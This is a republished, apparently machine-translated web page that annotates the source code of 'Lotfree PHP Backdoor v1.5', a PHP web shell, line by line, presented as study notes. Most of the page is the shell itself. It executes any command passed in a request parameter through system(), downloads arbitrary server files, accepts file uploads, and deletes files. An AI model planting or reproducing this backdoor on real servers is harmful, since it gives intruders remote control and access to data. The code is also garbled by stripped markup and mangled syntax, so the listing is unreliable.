Explaining PHP Backdoor files

Source: Internet
Author: User

PHP Backdoor Version 1.5 is a PHP backdoor program written by Sirius_black/lotfree team, here for a brief analysis of it, but also as a self-learning PHP notes, the backdoor into the execution of the command, Depending on the user's permissions when installing the Web server and PHP, you can execute various operating system commands if you are an administrator.

The following is a note for a backdoor program


  1. function Good_link ($link)
  2. {
  3. $link =ereg_replace ("/+", "/", $link);
  4. $link =ereg_replace ("/[^/(..)") +/\.\. ","/", $link);
  5. $link =ereg_replace ("/+", "/", $link);
  6. if (!strncmp ($link, "./", 2) && strlen ($link) >2) $link =substr ($link, 2);
  7. if ($link = = "") $link = ".";
  8. return $link;
  9. }
  10. $_request used to obtain the data submitted to this document
  11. $dir =isset ($_request[' dir '])? $_request[' dir ']: "."; If Dir,dir is not defined, the default value "."
  12. $dir =good_link ($dir);
  13. $rep =opendir ($dir); Open DIR-Specified path handle
  14. ChDir ($dir); Switch to DIR-specified directory
  15. if (Isset ($_request["]) &&$_request[" Down "]!=" ")//if the down is defined
  16. {
  17. Header ("Content-type:application/octet-stream");
  18. Header ("Content-length:". FileSize ($_request["Down"));
  19. Header ("content-disposition:attachment; Filename= ". BaseName ($_request[" Down "));
  20. ReadFile ($_request["Down"]); To read a file to a buffer
  21. Exit ();
  22. }
  23. ?>

  24. Lotfree PHP Backdoor v1.5, easy to trace network yeetrack.com



  25. echo "The current absolute path is: ". GETCWD (). "
    \ n "; Gets the current absolute path
  26. echo "dir = ' $dir '
    \ n ";
  27. echo "Current directory, file list!

    \ n ";
  28. If you have entered a command to execute
  29. if (isset ($_request[' cmd ')) &&$_request[' cmd ']!= "")
  30. {
  31. echo "
    \ n ";
  32. System ($_request[' cmd '); Executes the input command on the server, performs a result echo
  33. echo "
  34. \ n ";
  35. }
  36. If you have already uploaded the file
  37. if (Isset ($_files["fic" ["Name"]) && isset ($_post["max_file_size"))//Get POST file, save to current directory
  38. {
  39. if ($_files["fic" ["Size"]<$_post["max_file_size"])//Determine if the file conforms to the size specification
  40. {
  41. if (Move_uploaded_file ($_files["fic"] ["Tmp_name"],good_link ("./". $_files["fic" ["Name"])))//Save temporary files to the current directory
  42. {
  43. echo "File saved successfully". Good_link ("./". $_files["fic" ["Name"]). "!
    \ n ";
  44. }
  45. else echo "File upload failed:". $_files["FIC" ["Error"]. "
    \ n ";
  46. }
  47. else echo "File too large (files exceeding size limit)!
    \ n ";
  48. }
  49. if (Isset ($_request[' rm ')) &&$_request[' rm ']!= "")//if RM is defined, the specified file is deleted
  50. {
  51. if (unlink ($_request[' rm '))//unlink is a php delete file function
  52. echo "successfully deleted". $_request[' RM ']. "!
    \ n ";
  53. else echo "Delete file failed
    \ n ";
  54. }
  55. ?>





  56. $t _dir=array ();
  57. $t _file=array ();
  58. $i _dir=0;
  59. $i _file=0;
  60. The directory file before the loop is read, placed in T_dir and T_file
  61. while ($x =readdir ($rep))
  62. {
  63. if (Is_dir ($x))//If the directory is currently being processed
  64. $t _dir[$i _dir++]= $x;
  65. else//If the file is currently being processed
  66. $t _file[$i _file++]= $x;
  67. }
  68. Closedir ($REP); Close a directory handle opened by Opendir
  69. while (1)//loop to enter the directory and file for the current path
  70. {
  71. ?>

  72. $_server[' php_self ' gets the current PHP script file name
  73. if ($y =each ($t _file))
  74. {
  75. if ($y ["Key"]%2==0)//If key is currently being processed
  76. echo "bgcolor= ' LightGreen ' >\n";
  77. else//If value is currently being processed, that is, the file. The file is displayed and a download link is provided.
  78. echo ">\n";
  79. echo "". $y ["Value"]. " \ n ";
  80. }
  81. else echo ">\n";
  82. ?>

  83. if ($y)
  84. {
  85. If this is a file, provide the following link to delete the file
  86. if ($y ["Key"]%2==0) echo "bgcolor= ' LightGreen '";
  87. echo ">Del";
  88. }
  89. else echo ">\n";
  90. ?>

  91. if (! $x &&! $y)
  92. Break
  93. }
  94. ?>

  95. if ($x =each ($t _dir))
  96. {
  97. $name = $x ["Value"]; Gets the directory name in the T_dir array
  98. if ($name = = '. ') {}
  99. ElseIf ($name = = ' ... ') echo "Up (parent directory)

    \ n "; Show an up link to read the list of files in the parent directory
  100. Else
  101. echo "". $name. " \ n ";
  102. }
  103. ?>




  104. ? dir= ">revenirau repertoire d ' Origine





  105. Upload file to server current directory:




Copy Code


  • Contact Us

    The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

    If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.